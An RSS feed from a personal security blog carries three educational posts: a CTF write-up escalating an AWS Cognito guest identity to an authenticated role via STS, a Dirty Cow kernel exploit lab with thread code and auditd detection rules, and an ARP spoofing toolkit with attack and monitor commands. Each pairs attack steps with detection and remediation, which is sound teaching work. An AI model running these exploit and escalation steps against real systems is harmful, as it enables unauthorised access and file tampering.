<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Mon Blogue]]></title><description><![CDATA[Just a blog.]]></description><link>https://prayush.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/68ddf6203c47763313ac142f/f64a7315-4276-4914-83e9-902fd598e90a.jpg</url><title>Mon Blogue</title><link>https://prayush.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 10 Nov 2026 18:38:36 GMT</lastBuildDate><atom:link href="https://prayush.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Breaking the Trust Boundary: AWS Cognito Guest-to-Authenticated Role Escalation Write up ]]></title><description><![CDATA[A challenge solved in HackAstra 2026]]></description><link>https://prayush.hashnode.dev/breaking-the-trust-boundary-aws-cognito-guest-to-authenticated-role-escalation-write-up</link><guid isPermaLink="true">https://prayush.hashnode.dev/breaking-the-trust-boundary-aws-cognito-guest-to-authenticated-role-escalation-write-up</guid><category><![CDATA[AWS]]></category><category><![CDATA[aws-cognito]]></category><category><![CDATA[IAM]]></category><category><![CDATA[Red Teaming]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Mon, 03 Aug 2026 13:08:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/eeef759f-4b4c-49c1-b7b1-b077e2b0c221.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>AWS Cognito Identity Pools are commonly used in mobile and web applications to provide temporary AWS credentials without exposing long-term access keys.</p>
<p>The idea is simple:</p>
<ul>
<li><p>Anonymous users receive limited permissions through an <strong>Unauthenticated IAM Role</strong></p>
</li>
<li><p>Logged-in users receive elevated permissions through an <strong>Authenticated IAM Role</strong></p>
</li>
</ul>
<p>Cognito decides which role a user should receive, and AWS Security Token Service (STS) issues the temporary credentials.</p>
<p>But what happens when these two systems do not enforce the same security assumptions?</p>
<p>During this challenge, I found a misconfigured AWS Cognito Identity Pool where an unauthenticated guest identity could obtain credentials for an authenticated IAM role.</p>
<p>The interesting part was that there was no token forgery, no credential theft, and no authentication bypass.</p>
<p>The attack worked because the AWS trust boundary was incomplete.</p>
<hr />
<h2>Understanding Cognito Identity Pools and STS</h2>
<p>Before looking at the vulnerability, it is important to understand how Cognito Identity Pools work.</p>
<p>A typical flow looks like this:</p>
<pre><code class="language-plaintext">User
 |
 |
 v
Cognito Identity Pool
 |
 | Determines authentication state
 |
 +----------------+
 |                |
Guest User     Authenticated User
 |                |
 v                v
Unauth Role     Auth Role
 |
 v
AWS STS
 |
 v
Temporary Credentials
</code></pre>
<p>Cognito Identity Pools map identities to IAM roles:</p>
<ul>
<li><p><strong>Unauthenticated Role</strong> → For guest users</p>
</li>
<li><p><strong>Authenticated Role</strong> → For users who completed authentication</p>
</li>
</ul>
<p>When requesting credentials, Cognito provides an identity token that can be exchanged with AWS STS using:</p>
<pre><code class="language-plaintext">AssumeRoleWithWebIdentity
</code></pre>
<p>STS then validates the token against the IAM role's trust policy.</p>
<p>The security boundary depends on two checks:</p>
<h3>1. Cognito Role Mapping</h3>
<p>Cognito checks whether the identity is authenticated before assigning the IAM role.</p>
<h3>2. IAM Trust Policy</h3>
<p>The IAM role itself decides who is allowed to assume it.</p>
<p>Both checks must agree.</p>
<p>If Cognito says:</p>
<blockquote>
<p>"This is an unauthenticated guest"</p>
</blockquote>
<p>but IAM says:</p>
<blockquote>
<p>"This is a valid Cognito identity, allow access"</p>
</blockquote>
<p>the trust boundary breaks.</p>
<hr />
<h2>Reconnaissance: Finding the Identity Pool</h2>
<p>The first step was identifying the backend configuration.</p>
<p>A public S3 bucket:</p>
<pre><code class="language-plaintext">mobileapp-mobile-assets-l9tp4r7x
</code></pre>
<p>contained a configuration file:</p>
<pre><code class="language-plaintext">backend-roles.json
</code></pre>
<p>The file exposed sensitive AWS configuration details:</p>
<pre><code class="language-json">{
    "IdentityPoolId": "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd",
    "AuthRole": "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role"
}
</code></pre>
<p>The leaked information gave us:</p>
<ul>
<li><p>Cognito Identity Pool ID</p>
</li>
<li><p>Authenticated IAM Role ARN</p>
</li>
</ul>
<p>The target role was:</p>
<pre><code class="language-plaintext">arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role
</code></pre>
<hr />
<h2>Creating an Unauthenticated Cognito Identity</h2>
<p>Using the leaked Identity Pool ID, we requested a guest identity.</p>
<pre><code class="language-bash">aws cognito-identity get-id \
  --identity-pool-id "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd"
</code></pre>
<p>Cognito returned an Identity ID associated with an unauthenticated user.</p>
<p>At this point, we were only a guest.</p>
<p>Normally, this identity should only receive the limited unauthenticated role.</p>
<hr />
<h2>Obtaining the Cognito Identity Token</h2>
<p>Next, we requested an OpenID Connect token for this identity.</p>
<pre><code class="language-bash">aws cognito-identity get-open-id-token \
  --identity-id "&lt;IdentityId&gt;"
</code></pre>
<p>The returned token was a legitimate Cognito-issued identity token.</p>
<p>Important:</p>
<p>The token itself was not malicious.</p>
<p>It was valid.</p>
<p>The problem was how AWS trusted it.</p>
<hr />
<h2>Attempt 1: Using Cognito's Normal Role Mapping</h2>
<p>The expected method was to ask Cognito for credentials.</p>
<pre><code class="language-bash">aws cognito-identity get-credentials-for-identity \
  --identity-id "&lt;IdentityId&gt;" \
  --custom-role-arn \
  "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role"
</code></pre>
<p>This failed.</p>
<p>Cognito correctly recognized that the identity was unauthenticated.</p>
<p>The guest user was not allowed to obtain credentials for the authenticated role.</p>
<p>This was expected behavior.</p>
<p>At this point, Cognito was working correctly.</p>
<h2>The Pivot: Going Directly to STS</h2>
<p>Instead of asking Cognito to perform role mapping, we directly interacted with AWS STS.</p>
<p>The Cognito token was supplied to:</p>
<pre><code class="language-plaintext">AssumeRoleWithWebIdentity
</code></pre>
<p>Request:</p>
<pre><code class="language-bash">aws sts assume-role-with-web-identity \
  --role-arn \
  "arn:aws:iam::680311749636:role/mobileapp_cognito_auth_role" \
  --role-session-name "PwnedSession" \
  --web-identity-token "&lt;OIDC_TOKEN&gt;"
</code></pre>
<p>This time, AWS returned temporary credentials:</p>
<ul>
<li><p>Access Key ID</p>
</li>
<li><p>Secret Access Key</p>
</li>
<li><p>Session Token</p>
</li>
</ul>
<p>The guest identity had successfully assumed the authenticated role.</p>
<hr />
<h1>Accessing the Premium S3 Bucket</h1>
<p>The temporary credentials were exported:</p>
<pre><code class="language-bash">export AWS_ACCESS_KEY_ID="&lt;access-key&gt;"
export AWS_SECRET_ACCESS_KEY="&lt;secret-key&gt;"
export AWS_SESSION_TOKEN="&lt;session-token&gt;"
</code></pre>
<p>The restricted bucket could now be accessed:</p>
<pre><code class="language-bash">aws s3api list-objects \
  --bucket mobileapp-premium-content-l9tp4r7x
</code></pre>
<p>The flag was retrieved:</p>
<pre><code class="language-bash">aws s3api get-object \
  --bucket mobileapp-premium-content-l9tp4r7x \
  --key flag.txt \
  /dev/stdout
</code></pre>
<p>The authenticated role permissions were successfully obtained.</p>
<hr />
<h2>Root Cause: Missing <code>amr</code> Validation</h2>
<p>The vulnerability existed in the IAM trust policy attached to:</p>
<pre><code class="language-plaintext">mobileapp_cognito_auth_role
</code></pre>
<p>Cognito identity tokens contain an <code>amr</code> claim:</p>
<p>Authentication Method Reference:</p>
<table>
<thead>
<tr>
<th>Identity Type</th>
<th>amr Value</th>
</tr>
</thead>
<tbody><tr>
<td>Guest user</td>
<td>unauthenticated</td>
</tr>
<tr>
<td>Logged-in user</td>
<td>authenticated</td>
</tr>
</tbody></table>
<p>A secure trust policy should verify this claim.</p>
<p>Example:</p>
<pre><code class="language-json">{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "cognito-identity.amazonaws.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "cognito-identity.amazonaws.com:aud":
          "us-east-1:08d85402-467a-4354-becc-97a9a5c549bd"
        },
        "ForAnyValue:StringLike": {
          "cognito-identity.amazonaws.com:amr":
          "authenticated"
        }
      }
    }
  ]
}
</code></pre>
<p>The vulnerable role lacked:</p>
<pre><code class="language-json">"cognito-identity.amazonaws.com:amr": "authenticated"
</code></pre>
<p>Without this condition, STS only checked:</p>
<ol>
<li><p>Is the token signed by Cognito?</p>
</li>
<li><p>Does the audience match this Identity Pool?</p>
</li>
</ol>
<p>Both were true.</p>
<p>STS accepted the token and issued credentials.</p>
<hr />
<h2>Why This Worked</h2>
<p>The important distinction:</p>
<p>Cognito knew:</p>
<blockquote>
<p>"This identity is unauthenticated."</p>
</blockquote>
<p>STS knew only:</p>
<blockquote>
<p>"This is a valid Cognito identity token."</p>
</blockquote>
<p>The missing trust policy condition allowed these two assumptions to diverge.</p>
<p>The attacker did not bypass Cognito.</p>
<p>The attacker abused a weaker trust decision made by IAM.</p>
<hr />
<h2>Detection Opportunities</h2>
<p>From a defensive perspective, monitor:</p>
<h2>CloudTrail Events</h2>
<p>Look for:</p>
<pre><code class="language-plaintext">AssumeRoleWithWebIdentity
</code></pre>
<p>Suspicious indicators:</p>
<ul>
<li><p>Unauthenticated Cognito identities assuming privileged roles</p>
</li>
<li><p>Unexpected role sessions</p>
</li>
<li><p>Immediate access to sensitive S3 resources after role assumption</p>
</li>
</ul>
<p>A suspicious chain:</p>
<pre><code class="language-plaintext">GetOpenIdToken
        |
        |
AssumeRoleWithWebIdentity
        |
        |
S3 GetObject
</code></pre>
<p>should be investigated.</p>
<hr />
<h1>Remediation</h1>
<h2>1. Validate the <code>amr</code> Claim</h2>
<p>Authenticated roles should explicitly require:</p>
<pre><code class="language-json">"cognito-identity.amazonaws.com:amr": "authenticated"
</code></pre>
<p>in their trust policy.</p>
<hr />
<h2>2. Follow Least Privilege</h2>
<p>Avoid broad permissions:</p>
<pre><code class="language-json">"s3:*"
</code></pre>
<p>Prefer:</p>
<pre><code class="language-json">"s3:GetObject"
</code></pre>
<p>on only required resources.</p>
<hr />
<h2>3. Review IAM Trust Policies</h2>
<p>Permission policies answer:</p>
<blockquote>
<p>What can this role do?</p>
</blockquote>
<p>Trust policies answer:</p>
<blockquote>
<p>Who can become this role?</p>
</blockquote>
<p>A strong permission policy does not help if the wrong identities can assume the role.</p>
<hr />
<h2>What I Took Away From This</h2>
<p>The interesting part of this vulnerability was not obtaining AWS credentials.</p>
<p>AWS issued them exactly as designed.</p>
<p>The failure happened because different components trusted different assumptions.</p>
<p>Cognito correctly identified the user as a guest.</p>
<p>STS only verified that the identity token was valid.</p>
<p>Security boundaries fail when every component does not enforce the same identity requirements.</p>
<p>A valid identity does not automatically mean a trusted identity.</p>
<hr />
<h2>References</h2>
<ul>
<li><p>AWS Cognito Identity Pools Documentation</p>
</li>
<li><p>AWS STS AssumeRoleWithWebIdentity Documentation</p>
</li>
<li><p>AWS IAM Role Trust Policies</p>
</li>
<li><p>AWS Security Best Practices</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[From Reading the Kernel to Breaking It — Dirty Cow (CVE-2016-5195) End to End]]></title><description><![CDATA[A hands-on walkthrough of CVE-2016-5195 from kernel internals to exploitation to auditd detection.]]></description><link>https://prayush.hashnode.dev/from-reading-the-kernel-to-breaking-it-dirty-cow-cve-2016-5195-end-to-end</link><guid isPermaLink="true">https://prayush.hashnode.dev/from-reading-the-kernel-to-breaking-it-dirty-cow-cve-2016-5195-end-to-end</guid><category><![CDATA[Kernel]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[SIEM]]></category><category><![CDATA[detection engineering ]]></category><category><![CDATA[dirtycow]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sat, 02 May 2026 15:09:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/740e7939-c024-4a4a-b9de-619ecb4dee34.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I've been reading Robert Love's <em>Linux Kernel Development</em>. Chapter 15 covers the memory subsystem — virtual memory areas, page faults, Copy-on-Write. It's dense. I got through it, understood it conceptually, and then immediately forgot most of it.</p>
<p>So I did what I always do when something doesn't fully stick — I built a lab to break it.</p>
<p><strong>Dirty Cow (CVE-2016-5195)</strong> is a race condition in the Linux kernel's Copy-on-Write implementation. It's from 2016, it's well documented, and it lets an unprivileged user write to files they have no business touching. It's also one of the cleanest examples of how a memory management detail becomes a privilege escalation path. I wanted to run it, understand exactly why it works at the kernel level, and then catch it with auditd.</p>
<p>This post covers all three.</p>
<hr />
<h2>The Environment</h2>
<p>Ubuntu 14.04.5 Server in VirtualBox on my IdeaPad. Kernel 4.4.0 — vulnerable. 1GB RAM, 2 cores, NAT with port forwarding so I could SSH in from MX Linux.</p>
<pre><code class="language-bash">ssh -p 2222 itsjustme@127.0.0.1
</code></pre>
<p>Nothing fancy. The kernel version is what matters here.</p>
<hr />
<h2>What Copy-on-Write Actually Does</h2>
<p>Before the exploit makes sense, the mechanism needs to.</p>
<p>When a process maps a file read-only with <code>mmap()</code> and <code>MAP_PRIVATE</code>, the kernel doesn't immediately copy the underlying pages into the process's address space. It sets up a mapping that points at the original pages and marks them read-only. If the process tries to write to those pages, the kernel is supposed to catch the page fault, create a private copy, and let the write happen on the copy — not the original. That's Copy-on-Write.</p>
<p>The protection is real. A normal <code>write()</code> to a read-only mapped file fails with <code>EACCES</code>. The COW mechanism is specifically for processes writing to their <em>own</em> private copy of a page they have legitimate access to.</p>
<p>Dirty Cow exploits the window between two kernel operations.</p>
<hr />
<h2>The Exploit</h2>
<p>Two threads. One writes to <code>/proc/self/mem</code> — a special file that lets a process write directly into its own virtual address space. The other calls <code>madvise(MADV_DONTNEED)</code> in a loop, telling the kernel to discard the private copy and reload the page from the original file.</p>
<p>The race: thread 1 is trying to write through the COW copy. Thread 2 is constantly invalidating it. If the timing works — and at 10,000 iterations each it works reliably — the kernel ends up writing to the original read-only page instead of the copy. The permission check has already passed. The write lands.</p>
<pre><code class="language-c">void *write_to_mapping(void *arg) {
    int i;
    for (i = 0; i &lt; 10000; i++) {
        int f = open("/proc/self/mem", O_RDWR);
        lseek(f, (uintptr_t)map, SEEK_SET);
        write(f, to_be_written, strlen(to_be_written));
        close(f);
    }
    return NULL;
}

void* drop_mapping(void *arg) {
    int i;
    for (i = 0; i &lt; 10000; i++)
        madvise(map, 100, MADV_DONTNEED);
    return NULL;
}
</code></pre>
<p>The main function maps a root-owned, <code>chmod 444</code> file read-only, launches both threads, joins them. That's it.</p>
<pre><code class="language-bash">gcc -pthread dirty_cow.c -o dirty_cow

# Setup the target
sudo bash -c 'echo "This is a protected root file that should not be writable" &gt; root_file &amp;&amp; chmod 444 root_file'

# Verify it's actually protected
echo "hack" &gt; root_file
# bash: root_file: Permission denied

./dirty_cow
cat root_file
# moos is a protected root file...
</code></pre>
<p>Three bytes written to a file owned by root, by a process running as uid 1000. The write succeeded not because permissions were bypassed in the traditional sense — but because the kernel's own COW path handed us a window.</p>
<p>That's what chapter 15 looks like when it goes wrong.</p>
<hr />
<h2>Detection</h2>
<p>Running the exploit and walking away isn't the point. The interesting question is: what does this look like from the outside?</p>
<h3>Auditd Setup</h3>
<pre><code class="language-bash">sudo apt install auditd -y
sudo service auditd start
</code></pre>
<p><code>/etc/audit/rules.d/dirty_cow.rules</code><strong>:</strong></p>
<pre><code class="language-bash"># madvise syscall (syscall 28 on x86_64)
-a always,exit -F arch=b64 -S madvise -F success=yes -k dirty_cow

# ptrace (alternative detection vector)
-a always,exit -F arch=b64 -S ptrace -k dirty_cow

# writes to /proc/self/mem
-w /proc/self/mem -p rw -k dirty_cow
</code></pre>
<pre><code class="language-bash">sudo augenrules --load
sudo service auditd restart
</code></pre>
<h3>What Gets Captured</h3>
<p>After three exploit runs:</p>
<pre><code class="language-bash">sudo ausearch -k dirty_cow | grep -c "syscall"
# 20004
</code></pre>
<p>20,000 syscalls. In seconds. From a single unprivileged process.</p>
<p>A sample entry:</p>
<pre><code class="language-plaintext">SYSCALL msg=audit(1777433958.218:10030): arch=c000003e syscall=28 success=yes
exit=0 comm="dirty_cow" exe="/home/itsjustme/dirty_cow" uid=1000 gid=1000
key="dirty_cow"
</code></pre>
<p><code>syscall=28</code> is <code>madvise</code>. <code>uid=1000</code> — not root. That combination alone, at that volume, is the signal.</p>
<h3>The Syscall Pattern</h3>
<table>
<thead>
<tr>
<th>Syscall</th>
<th>Name</th>
<th>Count per run</th>
</tr>
</thead>
<tbody><tr>
<td>28</td>
<td><code>madvise</code></td>
<td>10,000</td>
</tr>
<tr>
<td>2</td>
<td><code>open</code></td>
<td>10,000+</td>
</tr>
<tr>
<td>8</td>
<td><code>lseek</code></td>
<td>10,000+</td>
</tr>
<tr>
<td>1</td>
<td><code>write</code></td>
<td>10,000</td>
</tr>
</tbody></table>
<p>No legitimate process hammers <code>madvise</code> 10,000 times in ten seconds. That's your threshold.</p>
<h3>SIEM Rule (Pseudocode)</h3>
<pre><code class="language-yaml">rule_name: "Dirty Cow Privilege Escalation Attempt"
severity: CRITICAL
conditions:
  - user.uid &gt;= 1000
  - syscall in [28, 101]           # madvise or ptrace
  - count(syscall) &gt; 1000 within 10 seconds
  - process.name contains "dirty" OR process.cmdline contains "/proc/self/mem"
alert:
  - isolate_host
  - capture_memory
  - notify_soc
</code></pre>
<p>The <code>process.cmdline contains "/proc/self/mem"</code> condition is particularly useful — most tools have no business touching that file.</p>
<h3>Real-Time Alerting Hook</h3>
<pre><code class="language-bash"># /usr/local/bin/dirtycow_alert.sh
#!/bin/bash
echo "ALERT: Dirty Cow pattern detected - PID \(1 at \)(date)" &gt;&gt; /var/log/dcow_alerts.log
</code></pre>
<pre><code class="language-bash"># /etc/audit/auditd.conf
dispatcher = /usr/local/bin/dirtycow_alert.sh
</code></pre>
<p>Detection latency in the lab: about one second from exploit start to first alert entry. On a production system with a SIEM ingesting auditd logs, you'd have a correlated alert before the exploit finishes its loop.</p>
<hr />
<h2>Mitigation</h2>
<p>The permanent fix is straightforward — upgrade the kernel to 4.8.3 or later. Ubuntu 16.04.5+ ships with a patched kernel. Ubuntu 14.04 should not be anywhere near production.</p>
<p>If you can't patch immediately:</p>
<pre><code class="language-bash"># Restrict ptrace — breaks debugging, but closes one vector
sudo sysctl -w kernel.yama.ptrace_scope=1

# AppArmor enforcement
sudo aa-enforce /etc/apparmor.d/*
</code></pre>
<p>Detection-based response:</p>
<pre><code class="language-bash">sudo ausearch -k dirty_cow -m syscall --raw | grep "comm=\"dirty" | \
  awk '{print $5}' | cut -d= -f2 | sort -u | xargs -r sudo kill -9
</code></pre>
<hr />
<h2>What the Lab Numbers Look Like</h2>
<table>
<thead>
<tr>
<th>Metric</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Total exploit runs</td>
<td>3</td>
</tr>
<tr>
<td>Total syscalls captured</td>
<td>20,004</td>
</tr>
<tr>
<td>Success rate</td>
<td>100%</td>
</tr>
<tr>
<td>Detection delay</td>
<td>~1 second</td>
</tr>
<tr>
<td>File modification</td>
<td>"moo" written (3 bytes)</td>
</tr>
<tr>
<td>Peak CPU during exploit</td>
<td>~76% on 2 cores</td>
</tr>
</tbody></table>
<hr />
<h2>What I Took Away From This</h2>
<p>Chapter 15 of <em>Linux Kernel Development</em> covers Copy-on-Write as a memory optimization. It is one. It also has an exploitable race condition that went unpatched for years and affected every Linux kernel from 2.6.22 onward.</p>
<p>The gap between "I understand this concept" and "I understand what happens when this concept breaks" is significant. Building the lab closed that gap in a way that re-reading the chapter wouldn't have.</p>
<p>The auditd side was equally useful. 20,000 <code>madvise</code> calls from uid 1000 is not subtle. The signal is loud — but only if you're instrumented to see it. Without those audit rules loaded before the exploit runs, <code>/var/log/syslog</code> shows nothing. The process comes and goes and you have no trail.</p>
<p>That's the part that matters for production systems. The exploit is old and patched. The lesson — that correct auditing has to be in place before the incident, not after — isn't.</p>
<hr />
<h2>References</h2>
<ul>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-5195">CVE-2016-5195 — NVD</a></p>
</li>
<li><p><a href="https://dirtycow.ninja">dirtycow.ninja</a></p>
</li>
<li><p><a href="https://www.cs.toronto.edu/~arnold/427/18s/427_18S/indepth/dirty-cow/">Demo source — University of Toronto</a></p>
</li>
<li><p>Robert Love, <em>Linux Kernel Development</em>, 3rd Edition — Chapter 15</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Build an ARP Toolkit — Attack and Detection in C]]></title><link>https://prayush.hashnode.dev/build-an-arp-toolkit-attack-and-detection-in-c</link><guid isPermaLink="true">https://prayush.hashnode.dev/build-an-arp-toolkit-attack-and-detection-in-c</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[Security]]></category><category><![CDATA[Arp spoofing]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Wed, 08 Apr 2026 09:00:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/4baafe28-67e5-42b6-b0e1-0791d65965ff.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I spend a lot of time looking at alerts that say "possible MITM activity" or "ARP anomaly detected." They show up in the SIEM, get triaged, and usually turn out to be benign — a NIC failover, a misconfigured switch, something. But I never fully understood what the attack actually looked like at the wire level.</p>
<p>So I built it from scratch in C. Two tools in one repo: one that launches the attack, one that catches it.</p>
<h3>What ARP actually is</h3>
<p><strong>ARP — Address Resolution Protocol</strong> — is how devices on a local network map IP addresses to MAC addresses. When your machine wants to talk to <code>192.168.1.1</code>, it doesn't know the MAC address yet, so it broadcasts a question to the entire network: "who has 192.168.1.1?"</p>
<p>The router hears it and replies: "I do — here's my MAC." Your machine caches that mapping and starts sending traffic.</p>
<p>That's the whole protocol. No handshake. No verification. No authentication of any kind. If someone else replies first — or sends an unsolicited reply claiming to be the router — your machine will cache that instead. It has no way to tell the difference.</p>
<p>That's ARP spoofing. There's no exploit involved. It's just the protocol working exactly as designed, being used for something it wasn't designed for.</p>
<p>Let me insert a little diagram...</p>
<img src="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/adc105bb-e9a9-4f15-82d2-24fafc0468e1.png" alt="" style="display:block;margin:0 auto" />

<h3>The Two Tools</h3>
<ol>
<li><strong>arp_spoof</strong></li>
</ol>
<p>Sends crafted ARP reply packets at Layer 2 using raw sockets. Every byte — Ethernet header, ARP header, addresses — is written manually into a buffer before being handed to the kernel. No library abstracts this. You see exactly what goes on the wire.</p>
<p>Usage:</p>
<pre><code class="language-shell">sudo ./arp_spoof &lt;target_ip&gt; &lt;spoof_ip&gt;
</code></pre>
<p>Example: Tell 192.168.125.56 that you are the gateway</p>
<pre><code class="language-plaintext">sudo ./arp_spoof wlan0 192.168.1.50 192.168.1.1
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/7b6bd520-f3dd-4fc9-b090-c29f39846072.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p><strong>2. arp_monitor</strong></p>
<p>Passively captures ARP traffic using libpcap and maintains an in-memory IP-to-MAC table. Every ARP reply gets compared against what's already cached. If a known IP shows up with a new MAC, it logs an alert with the old and new values side by side.</p>
<pre><code class="language-shell">sudo ./arp_monitor
</code></pre>
<h3>Packet Structure: The Byte Level</h3>
<p>To write the spoofer, I had to understand exactly what an ARP frame looks like. This is where the magic (and the vulnerability) happens.</p>
<h3>Ethernet Header -- 14 bytes</h3>
<pre><code class="language-plaintext">[dst MAC: 6 bytes][src MAC: 6 bytes][EtherType: 2 bytes]
</code></pre>
<p>EtherType for ARP is <code>0x0806</code>. That's the value that tells anything reading this frame — the kernel, Wireshark, your SIEM's sensor — that what follows is an ARP payload and not something else.</p>
<h3>ARP Header -- 28 bytes</h3>
<pre><code class="language-plaintext">[hw_type:    2][proto_type: 2][hw_size: 1][proto_size: 1][opcode: 2]
[sender MAC: 6][sender IP:  4]
[target MAC: 6][target IP:  4]
</code></pre>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>hw_type</td>
<td><code>0x0001</code> -- Ethernet</td>
</tr>
<tr>
<td>proto_type</td>
<td><code>0x0800</code> -- IPv4</td>
</tr>
<tr>
<td>opcode</td>
<td><code>0x0001</code> = REQUEST, <code>0x0002</code> = REPLY</td>
</tr>
</tbody></table>
<p>In a spoofed reply, the sender MAC is set to the attacker's MAC while the sender IP is set to the IP being impersonated. That pairing is what the victim's machine caches. The deception is one field.</p>
<p>Total frame size: 42 bytes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/5d50bfd2-fbc4-414e-b173-2bf2c1e1e99a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>How it Works</h2>
<h3>The Spoofer</h3>
<p>Raw sockets let you write directly at Layer 2 — you construct the entire frame yourself and hand it to the kernel with <code>sendto()</code>. No IP stack involvement. No UDP socket. The frame you write is the frame that goes on the wire.</p>
<p>The spoofer builds the 42-byte buffer in order: Ethernet header first, then the ARP header with the forged sender MAC and IP. It sends this in a loop so the victim's cache keeps getting overwritten before it can expire.</p>
<h3>The Monitor (Detection Logic)</h3>
<p>The monitor uses <code>libpcap</code> to sniff all ARP frames. For each reply:</p>
<ol>
<li><p>Extract sender IP and sender MAC.</p>
</li>
<li><p>Check the in-memory cache:</p>
<ul>
<li><p><strong>Not seen before -&gt;</strong> Add it to the table.</p>
</li>
<li><p><strong>Seen before, same MAC -&gt;</strong> Legitimate.</p>
</li>
<li><p><strong>Seen before, different MAC -&gt; ALERT.</strong></p>
</li>
</ul>
</li>
<li><p>Alert shows the IP, the old MAC, and the new MAC</p>
</li>
</ol>
<p>Normal traffic:</p>
<pre><code class="language-shell">ARP Monitor started...
[REQUEST] b4:d5:bd:c4:60:1c (192.168.125.56) -&gt; who has 192.168.125.54?
[REPLY]   98:43:fa:94:17:c7 (192.168.125.54) -&gt; I am 192.168.125.56
</code></pre>
<p>Attack detected:</p>
<pre><code class="language-shell">[REPLY] b4:d5:bd:c4:60:1c (192.168.125.54) -&gt; I am 192.168.125.56

[ALERT] POSSIBLE ARP SPOOF
   IP     : 192.168.125.54
   OLD MAC : 98:43:fa:94:17:c7
   NEW MAC : b4:d5:bd:c4:60:1c
   ACTION  : investigate
</code></pre>
<p>The detection logic is simple by design. It's the same logic your OS uses when it caches ARP entries — just with memory and alerting added on top. Tools like Arpwatch do the same thing at their core.</p>
<h3>Building and Testing Setup</h3>
<p>You'll need libpcap for the monitor:</p>
<pre><code class="language-shell">$ sudo apt install libpcap-dev 
</code></pre>
<pre><code class="language-shell">$ git clone https://github.com/Itsjustme27/arp-toolkit cd arp-toolkit
</code></pre>
<h2>Monitor</h2>
<pre><code class="language-shell">$ cd arp_monitor &amp;&amp; gcc -o arp_monitor main.c -lpcap
</code></pre>
<h2>Spoofer</h2>
<pre><code class="language-plaintext">$ cd ../arp_spoof &amp;&amp; gcc -o arp_spoof main.c
</code></pre>
<h3>The "Lab" Test</h3>
<pre><code class="language-shell"># Terminal 1 — flush the OS ARP cache
sudo ip neigh flush all

# Terminal 2 — start the monitor
sudo ./arp_monitor

# Terminal 3 — ping the target so the monitor learns its real MAC
ping -c 3 &lt;target_ip&gt;

# Terminal 4 — run the spoofer
sudo ./arp_spoof wlan0 &lt;target_ip&gt; &lt;spoof_ip&gt;

# Watch Terminal 2 for the alert
</code></pre>
<hr />
<h3>What This Changed</h3>
<p>The next time I saw an ARP-related alert in the SIEM, I knew exactly what I was looking at. Not just "the MAC changed" as a vague observation — I could picture the exact frame that caused it. The 14-byte Ethernet header, the 28-byte ARP payload, the sender MAC field set to something it shouldn't be.</p>
<p>I also understood for the first time why certain detections fire the way they do:</p>
<ul>
<li><p>An unsolicited ARP reply — a reply with no preceding request — is always worth flagging. There's no legitimate reason a device would broadcast its MAC mapping without being asked.</p>
</li>
<li><p>High-frequency ARP replies from a single source isn't normal network behavior. A spoofer has to keep sending to overwrite the cache before the TTL expires.</p>
</li>
<li><p>A MAC change on the default gateway or DNS server IP is one of the more reliable signals you can hunt for, because that hardware almost never changes.</p>
</li>
</ul>
<p>The MITRE ATT&amp;CK reference for this technique is T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning.</p>
<p>Building the attack made the detection logic obvious. I'd recommend that approach to anyone writing detection rules for protocols they're not fully comfortable with yet.</p>
<p><strong>MITRE ATT&amp;CK Reference</strong>: T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning.</p>
<h3>What's Next?</h3>
<p>A few additions I want to make:</p>
<ul>
<li><p><strong>Gratuitous ARP tracking</strong> — log and flag all replies that had no corresponding request</p>
</li>
<li><p><strong>Rate-based alerting</strong> — trigger when reply frequency from a single MAC exceeds a threshold</p>
</li>
<li><p><strong>Persistent MAC table</strong> — write the cache to disk so learned state survives restarts</p>
</li>
<li><p><strong>PCAP export</strong> — dump suspicious frames to a file for offline analysis</p>
</li>
</ul>
<p><strong>Disclaimer</strong>: This toolkit is for educational use and authorized testing only. Only run it on your own network, in a lab environment, or on a network where you have explicit written permission. Unauthorized ARP spoofing is illegal.</p>
